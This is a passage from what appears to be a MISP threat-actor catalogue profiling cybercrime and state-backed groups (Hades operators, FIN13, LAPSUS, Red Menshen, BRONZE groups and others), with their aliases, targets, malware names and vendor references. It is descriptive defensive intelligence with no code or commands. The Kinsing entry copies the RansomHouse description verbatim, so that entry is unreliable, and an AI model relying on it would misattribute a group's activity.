<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-waterfall">https://www.secureworks.com/research/threat-profiles/gold-waterfall</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access">https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access</a></td>
</tr>
</tbody>
</table>

**GOLD WINTER**

GOLD WINTER are a financially motivated group, likely based in Russia, who operate the Hades ransomware. Hades activity was first identified in December 2020 and its lack of presence on underground forums and marketplaces leads CTU researchers to conclude that it is not operated under a ransomware as a service affiliate model. GOLD WINTER do employ name-and-shame tactics, where data is stolen and used as additional leverage over victims, but rather than a single centralized leak site CTU researchers have observed the group using Tor sites customized for each victim that include a Tox chat ID for communication, which also appears to be unique for each victim.

The tag is: *misp-galaxy:threat-actor="GOLD WINTER"

Table 11417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-winter">http://www.secureworks.com/research/threat-profiles/gold-winter</a></td>
</tr>
</tbody>
</table>

**BackdoorDiplomacy**

An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017.

The tag is: *misp-galaxy:threat-actor="BackdoorDiplomacy"

BackdoorDiplomacy is also known as:
Gelsemium

The Gelsemium group has been active since at least 2014 and was described in the past by a few security companies. Gelsemium's name comes from one possible translation ESET found while reading a report from VenusTech who dubbed the group 狼毒草 for the first time. It's the name of a genus of flowering plants belonging to the family Gelsemiaceae, Gelsemium elegans is the species that contains toxic compounds like Gelsemine, Gelsenicine and Gelsevirine, which ESET choses as names for the three components of this malware family.

The tag is: misp-galaxy:threat-actor="Gelsemium"

Gelsemium is also known as:

- 狼毒

BelialDemon

Mentioned as operator of TriumphLoader and Matanbuchus

The tag is: misp-galaxy:threat-actor="BelialDemon"

BelialDemon is also known as:

- Matanbuchus
Common Raven

Threat actor Common Raven has been actively targeting financial sector institutions, compromising their SWIFT payment infrastructure to send out fraudulent payments.

The tag is: `misp-galaxy:threat-actor=“Common Raven”`

Common Raven is also known as:

- OPERA1ER
- NXSMS
- DESKTOP-GROUP

Table 11421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs">https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs</a></td>
</tr>
<tr>
<td><a href="https://www2.swift.com/isac/report/10118">https://www2.swift.com/isac/report/10118</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/opera1er-apt">https://blog.group-ib.com/opera1er-apt</a></td>
</tr>
</tbody>
</table>

FIN13

Since 2017, Mandiant has been tracking FIN13, an industrious and versatile financially motivated threat actor conducting long-term intrusions in Mexico with an activity timeframe stretching back as early as 2016. Although their operations continue through the present day, in many ways FIN13’s intrusions are like a time capsule of traditional financial cybercrime from days past. Instead of today’s prevalent smash-and-grab ransomware groups, FIN13 takes their time to gather information to perform fraudulent money transfers. Rather than relying heavily on attack frameworks such as Cobalt Strike, the majority of FIN13 intrusions involve heavy use of custom passive backdoors and tools to lurk in environments for the long haul.

The tag is: `misp-galaxy:threat-actor=“FIN13”`

FIN13 is also known as:

- TG2003
- Elephant Beetle

Table 11422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/fin13-cybercriminal-mexico">https://www.mandiant.com/resources/fin13-cybercriminal-mexico</a></td>
</tr>
<tr>
<td><a href="https://blog.sygnia.co/elephant-beetle-an-organized-financial-theft-operation">https://blog.sygnia.co/elephant-beetle-an-organized-financial-theft-operation</a></td>
</tr>
</tbody>
</table>
SideCopy

The SideCopy APT is a Pakistani threat actor that has been operating since at least 2019, mainly targeting South Asian countries and more specifically India and Afghanistan. Its name comes from its infection chain that tries to mimic that of the SideWinder APT. It has been reported that this actor has similarities with Transparent Tribe (APT36) and possibly is a subdivision of this actor. Cisco Talos and Seqrite have provided comprehensive reports on this actor's activities.

The tag is: misp-galaxy:threat-actor="SideCopy"

Table 11423. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.seqrite.com/blog/operation-sidecopy/">https://www.seqrite.com/blog/operation-sidecopy/</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/sidecopy-apt-from-windows-to-nix/">https://www.telsy.com/sidecopy-apt-from-windows-to-nix/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/07/sidecopy.html">https://blog.talosintelligence.com/2021/07/sidecopy.html</a></td>
</tr>
<tr>
<td><a href="https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d">https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d</a></td>
</tr>
</tbody>
</table>

Antlion

Antlion is a Chinese state-backed advanced persistent threat (APT) group, who has been targeting financial institutions in Taiwan. This persistent campaign has lasted over the course of at least 18 months.

The tag is: misp-galaxy:threat-actor="Antlion"

Table 11424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TA2541

Persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years. This threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. This threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017.

The tag is: misp-galaxy:threat-actor="TA2541"
TA516

This actor typically distributes instances of the SmokeLoader intermediate downloader, which, in turn, downloads additional malware of the actor’s choice — often banking Trojans. Figure 3 shows a lure document from a November campaign in which TA516 distributed fake resumes with malicious macros that, if enabled, launch a PowerShell script that downloads SmokeLoader. In this instance, we observed SmokeLoader downloading a Monero coinminer. Since the middle of 2017, TA516 has used similar macro-laden documents as well as malicious JavaScript hosted on Google Drive to distribute both Panda Banker and a coinminer executable via SmokeLoader, often in the same campaigns.

The tag is: misp-galaxy:threat-actor="TA516"

TA547

TA547 is responsible for many other campaigns since at least November 2017. The other campaigns by the actor were often localized to countries such as Australia, Germany, the United Kingdom, and Italy. Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.

The tag is: misp-galaxy:threat-actor="TA547"

TA554

Since May 2018, Proofpoint researchers have observed email campaigns using a new downloader called sLoad. sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries. While initial versions of sLoad appeared in May 2018, we began tracking the campaigns from this actor (internally named TA554) since at least the beginning of 2017.
The tag is: misp-galaxy:threat-actor="TA554"

TA554 is also known as:

- TH-163

Table 11428. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**TA555**

Beginning in May 2018, Proofpoint researchers observed a previously undocumented downloader dubbed AdvisorsBot appearing in malicious email campaigns. The campaigns appear to primarily target hotels, restaurants, and telecommunications, and are distributed by an actor we track as TA555. To date, we have observed AdvisorsBot used as a first-stage payload, loading a fingerprinting module that, as with Marap, is presumably used to identify targets of interest to further infect with additional modules or payloads. AdvisorsBot is under active development and we have also observed another version of the malware completely rewritten in PowerShell and .NET.

The tag is: misp-galaxy:threat-actor="TA555"

Table 11429. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**TA800**

This attacker is an affiliate distributor of the The Trick, also known as Trickbot, and BazaLoader. (For more on how affiliates work, see the description of TA573). TA800 has targeted a wide range of industries in North America, infecting victims with banking Trojans and malware loaders (malware designed to download other malware onto a compromised device). Malicious emails have often included recipients' names, titles and employers along with phishing pages designed to look like the targeted company. Lures have included hard-to-resist subjects such as related to payment, meetings, termination, bonuses and complaints in the subject line or body of the email.

The tag is: misp-galaxy:threat-actor="TA800"

Table 11430. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
MosesStaff

Cybereason Nocturnus describes Moses Staff as an Iranian hacker group, first spotted in October 2021. Their motivation appears to be to harm Israeli companies by leaking sensitive, stolen data.

The tag is: misp-galaxy:threat-actor="MosesStaff"

MosesStaff is also known as:
- Moses Staff

View relationships graph

MosesStaff has relationships with:
- similar: misp-galaxy:microsoft-activity-group="Marigold Sandstorm" with estimative-language:likelihood-probability="likely"

Table 11431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/campuscodi/status/1450455259202166799">https://twitter.com/campuscodi/status/1450455259202166799</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/">https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard">https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard</a></td>
</tr>
</tbody>
</table>

Avivore

The group’s existence came to light during Context’s investigation of a number of attacks against multinational enterprises that compromise smaller engineering services and consultancies working in their supply chains.

The tag is: misp-galaxy:threat-actor="Avivore"

Table 11432. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

HAZY TIGER

The Bitter threat group initially started using RAT tools in their campaigns, as the first Bitter versions, for Android released in 2014 were based on the AndroRAT framework. Over time, they
switched to a custom version that has been known as BitterRAT ever since.

The tag is: misp-galaxy:threat-actor="HAZY TIGER"

HAZY TIGER is also known as:

- Bitter
- T-APT-17
- APT-C-08
- Orange Yali

Table 11433. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg">https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg</a></td>
</tr>
</tbody>
</table>

**LAPSUS**

An actor group conducting large-scale social engineering and extortion campaign against multiple organizations with some seeing evidence of destructive elements.

The tag is: misp-galaxy:threat-actor="LAPSUS"

LAPSUS is also known as:

- LAPSUS$
- DEV-0537
- SLIPPY SPIDER

View relationships graph

LAPSUS has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Strawberry Tempest" with estimative-language:likelihood-probability="likely"

Table 11434. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Scarab

Scarab APT was first spotted in 2015, but is believed to have been active since at least 2012, conducting surgical attacks against a small number of individuals across the world, including Russia and the United States. The backdoor deployed by Scarab in their campaigns is most commonly known as Scieron.

The tag is: *misp-galaxy:threat-actor="Scarab"

Table 11435. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BladeHawk

The tag is: *misp-galaxy:threat-actor="BladeHawk"

BladeHawk is also known as:

Table 11436. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://telegra.ph/Discover-Malware-Android-03-26">https://telegra.ph/Discover-Malware-Android-03-26</a></td>
</tr>
</tbody>
</table>

Copy-Paste

The title ‘Copy-paste compromises' is derived from the actor's heavy use of tools copied almost identically from open source given by The Australian Government.

The tag is: *misp-galaxy:threat-actor="Copy-Paste"

Copy-Paste is also known as:

Table 11437. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Killnet**

A group targeting various countries using Denial of Services attacked.

The tag is: `misp-galaxy:threat-actor="Killnet"`

Killnet is also known as:

Table 11438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/russia-or-ukraine-hacking-groups-take-sides/?msclkid=235244a7ba6611ec92f21c9bd3b8ee49">https://therecord.media/russia-or-ukraine-hacking-groups-take-sides/?msclkid=235244a7ba6611ec92f21c9bd3b8ee49</a></td>
</tr>
</tbody>
</table>

**SaintBear**

A group targeting UA state organizations using the GraphSteel and GrimPlant malware.

The tag is: `misp-galaxy:threat-actor="SaintBear"`

SaintBear is also known as:

- UNC2589
- TA471
- UAC-0056
- Nascent Ursa
- Nodaria
- FROZENVISTA

Table 11439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/38374">https://cert.gov.ua/article/38374</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/">https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/</a></td>
</tr>
</tbody>
</table>
UNC3524

Mandiant observed this group operating since December 2019. Its techniques partially overlap with multiple Russian-based espionage actors (APT28 and APT29). They are described as having a high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet at their disposal.

The tag is: `misp-galaxy:threat-actor="UNC3524"`

Curious Gorge

Curious Gorge, a group TAG attributes to China’s PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia. The actor has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia. In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs. Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.

The tag is: `misp-galaxy:threat-actor="Curious Gorge"`

Curious Gorge is also known as:

- UNC3742
Red Menshen

Since 2021, Red Menshen, a China based threat actor, which has been observed targeting telecommunications providers across the Middle East and Asia, as well as entities in the government, education, and logistics sectors using a custom backdoor referred as BPFDoor. This threat actor uses a variety of tools in its post-exploitation phase. This includes custom variants of the shared tool Mangzamel (including Golang variants), custom variants of Gh0st, and open source tools like Mimikatz and Metasploit to aid in its lateral movement across Windows systems. Also, They have been seen sending commands to BPFDoor victims via Virtual Privat Servers (VPSs) hosted at a well-known provider, and that these VPSs, in turn, are administered via compromised routers based in Taiwan, which the threat actor uses as VPN tunnels. Most Red Menshen activity that has been observed took place between Monday to Friday (with none observed on the weekends), with most communication taking place between 01:00 and 10:00 UTC. This pattern suggests a consistent 8 to 9-hour activity window for the threat actor, with realistic probability of it aligning to local working hours.

The tag is: misp-galaxy:threat-actor="Red Menshen"

Red Menshen is also known as:

- Red Dev 18

Table 11442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://troopers.de/troopers22/talks/7cv8pz">https://troopers.de/troopers22/talks/7cv8pz</a></td>
</tr>
</tbody>
</table>

Cosmic Lynx

Cosmic Lynx is a Russia-based BEC cybercriminal organization that has significantly impacted the email threat landscape with sophisticated, high-dollar phishing attacks.

The tag is: misp-galaxy:threat-actor="Cosmic Lynx"

Table 11443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

ModifiedElephant

Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named
ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing.

The tag is: *misp-galaxy:threat-actor="ModifiedElephant"*

---

**EXOTIC LILY**

EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. In early September 2021, the group has been observed exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigation lead researchers to believe that they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike). This threat actor deploys tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, namely BUMBLEEBEE and BAZARLOADER, further evading detection mechanisms. This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.

The tag is: *misp-galaxy:threat-actor="EXOTIC LILY"*

EXOTIC LILY is also known as:

- DEV-0413

---

**TA578**

TA578, a threat actor that Proofpoint researchers have been tracking since May of 2020. TA578 has previously been observed in email-based campaigns delivering Ursnif, IcedID, KPOT Stealer, Buer Loader, BazaLoader, and Cobalt Strike.

The tag is: *misp-galaxy:threat-actor="TA578"*
**TA579**

TA579, a threat actor that Proofpoint researchers have been tracking since August 2021. This actor frequently delivered BazaLoader and IcedID in past campaigns.

The tag is: `misp-galaxy:threat-actor="TA579"`

*Table 11447. Table References*

**RansomHouse**

This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.

The tag is: `misp-galaxy:threat-actor="RansomHouse"`

*Table 11448. Table References*

**ToddyCat**

ToddyCat is responsible for multiple sets of attacks detected since December 2020 against high-profile entities in Europe and Asia. There is still little information about this actor, but its main distinctive signs are two formerly unknown tools that Kaspersky call ‘Samurai backdoor’ and ‘Ninja Trojan’.

The tag is: `misp-galaxy:threat-actor="ToddyCat"`

ToddyCat is also known as:

- Websiic

*Table 11449. Table References*
POLONIUM

Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.

The tag is: `misp-galaxy:threat-actor="POLONIUM"`

View relationships graph

POLONIUM has relationships with:

- similar: `misp-galaxy:microsoft-activity-group="Plaid Rain"` with `estimative-language:likelihood-probability="likely"`

Table 11450. Table References

Links

- https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructur.../

Predatory Sparrow

A self-proclaimed hacktivist group that carried out attacks against Iranian railway systems and against Iranian steel plants.

The tag is: `misp-galaxy:threat-actor="Predatory Sparrow"`

Predatory Sparrow is also known as:

- Indra
- Gonjeshke Darande

Table 11451. Table References

Links

- https://twitter.com/cpresearch/status/1541753913732366338
- https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/
DEV-0586

MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware (WhisperGate), which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom.

The tag is: misp-galaxy:threat-actor="DEV-0586"

DEV-0586 is also known as:

- Ruinous Ursa

View relationships graph

DEV-0586 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Cadet Blizzard" with estimative-language:likelihood-probability="likely"

Table 11452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/">https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/ruinousursa/">https://unit42.paloaltonetworks.com/atoms/ruinousursa/</a></td>
</tr>
</tbody>
</table>

Kinsing

This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.

The tag is: misp-galaxy:threat-actor="Kinsing"

Kinsing is also known as:

- Money Libra

Table 11453. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/">https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/moneylibra/">https://unit42.paloaltonetworks.com/atoms/moneylibra/</a></td>
</tr>
</tbody>
</table>
Earth Berberoka

According to TrendMicro, Earth Berberoka is a threat group originating from China that mainly focuses on targeting gambling websites. This group’s campaign uses multiple malware families that target the Windows, Linux, and macOS platforms that have been attributed to Chinese-speaking actors. Aside from using tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, Earth Berberoka has also developed a brand-new complex, multistage malware family, which has been dubbed PuppetLoader.

The tag is: `misp-galaxy:threat-actor="Earth Berberoka"`

Table 11454. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-domains-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-domains-2.txt</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=QXGO4RJaUPQ">https://www.youtube.com/watch?v=QXGO4RJaUPQ</a></td>
</tr>
</tbody>
</table>

Earth Lusca

Earth Lusca is a threat actor from China that targets organizations of interest to the Chinese government, including academic institutions, telecommunication companies, religious organizations, and other civil society groups. Earth Lusca’s tools closely resemble those used by Winnti Umbrella, but the group appears to operate separately from Winnti. Earth Lusca has also been observed targeting cryptocurrency payment platforms and cryptocurrency exchanges in what are likely financially motivated attacks.

The tag is: `misp-galaxy:threat-actor="Earth Lusca"`

Earth Lusca is also known as:

- CHROMIUM
- ControlX
- TAG-22
- FISHMONGER
- BRONZE UNIVERSITY
- AQUATIC PANDA
Earth Lusca has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Charcoal Typhoon" with estimative-language:likelihood-probability="likely"

### Table 11455. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan">https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi</a></td>
</tr>
<tr>
<td><a href="https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&amp;v=beta&amp;t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1QQAydqGyq62KA3E">https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&amp;v=beta&amp;t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1QQAydqGyq62KA3E</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html">https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools">https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass">https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass</a></td>
</tr>
</tbody>
</table>

### Earth Wendigo

Earth Wendigo is a threat actor from China that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. The threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.

The tag is: misp-galaxy:threat-actor="Earth Wendigo"
BRONZE EDGEWOOD

In early 2021 CTU researchers observed BRONZE EDGEWOOD exploiting the Microsoft Exchange Server of an organization in Southeast Asia. The threat group deployed a China Chopper webshell and ran the Nishang Invoke-PowerShellTcp.ps1 script to connect back to C2 infrastructure. The threat group is publicly linked to malware families Chinoxy, PCShare and FunnyDream. CTU researchers have discovered that BRONZE EDGEWOOD also leverages Cobalt Strike in its intrusion activity. BRONZE EDGEWOOD has been active since at least 2018 and targets government and private enterprises across Southeast Asia. CTU researchers assess with moderate confidence that BRONZE EDGEWOOD operates on behalf the Chinese government and has a remit that covers political espionage.

The tag is: `misp-galaxy:threat-actor="BRONZE EDGEWOOD"`

BRONZE EDGEWOOD is also known as:

- Red Hariasa

Table 11457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

APT9

APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for Initial Access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 use a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups.

The tag is: `misp-galaxy:threat-actor="APT9"`

APT9 is also known as:

- NIGHTSHADE PANDA
- Red Pegasus
BRONZE SPRING

BRONZE SPRING is a threat group that CTU researchers assess with high confidence operates on behalf of China in the theft of intellectual property from defense, engineering, pharmaceutical and technology companies. The threat group typically uses scan-and-exploit for initial access, deploys the China Chopper webshell for remote execution and persistence, and creates RAR archives with a '.jpg' file extension for data exfiltration. In July 2020 the U.S. Department of Justice indicted two Chinese hackers CTU researchers assess are members of the BRONZE SPRING threat group. The Department of Justice allege these hackers were responsible for compromising networks of hundreds of organisations and individuals in the U.S. and abroad since 2009, and that exfiltrated data would be passed to the Chinese Ministry of State Security or sold for financial gain.

The tag is: misp-galaxy:threat-actor="BRONZE SPRING"

BRONZE SPRING is also known as:

• UNC302
BRONZE STARLIGHT

BRONZE STARLIGHT has been active since mid 2021 and targets organizations globally across a range of industry verticals. The group leverages HUI Loader to load Cobalt Strike and PlugX payloads for command and control. CTU researchers have observed BRONZE STARLIGHT deploying ransomware to compromised networks as part of name-and-shame ransomware schemes, and posted victim names to leak sites. CTU researchers assess with moderate confidence that BRONZE STARLIGHT is located in China based on observed tradecraft, including the use of HUI Loader and PlugX which are associated with China-based threat group activity. It is plausible that BRONZE STARLIGHT deploys ransomware as a smokescreen rather than for financial gain, with the underlying motivation of stealing intellectual property theft or conducting espionage.

The tag is: misp-galaxy:threat-actor="BRONZE STARLIGHT"

BRONZE STARLIGHT is also known as:

• SLIME34
• DEV-0401

View relationships graph

BRONZE STARLIGHT has relationships with:

• similar: misp-galaxy:microsoft-activity-group="Cinnamon Tempest" with estimative-language:likelihood-probability="likely"

Table 11460. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cglyer/status/1480734487000453121">https://twitter.com/cglyer/status/1480734487000453121</a></td>
</tr>
</tbody>
</table>

BRONZE HIGHLAND

BRONZE HIGHLAND has been observed using spearphishing as an initial infection vector to deploy the MgBot remote access trojan against targets in Hong Kong. Third party reporting suggests the threat group also targets India, Malaysia and Taiwan and leverages Cobalt Strike and KsRemote Android Rat. CTU researchers assess with moderate confidence that BRONZE HIGHLAND operates on behalf of China and has a remit covering espionage against domestic human rights and pro-democracy advocates and nations neighbouring China.
BRONZE HIGHLAND is also known as:

- Evasive Panda
- Daggerfly

Table 11461. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=LeKi0KfzOow&amp;list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&amp;index=1&amp;t=2154s">https://www.youtube.com/watch?v=LeKi0KfzOow&amp;list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&amp;index=1&amp;t=2154s</a></td>
</tr>
</tbody>
</table>

BRONZE SPIRAL

In December 2020, the IT management software provider SolarWinds announced that an unidentified threat actor had exploited a vulnerability in their Orion Platform software to deploy a web shell dubbed SUPERNOVA. CTU researchers track the operators of the SUPERNOVA web shell as BRONZE SPIRAL and assess with low confidence that the group is of Chinese origin. SUPERNOVA was likely deployed through exploitation of CVE-2020-10148, and CTU researchers observed post-exploitation reconnaissance commands roughly 30 minutes before the web shell was deployed. This may have been indicative of the threat actor conducting scan-and-exploit activity and then triaging for victims of particular interest, before deploying SUPERNOVA and attempting to dump credentials and move laterally.

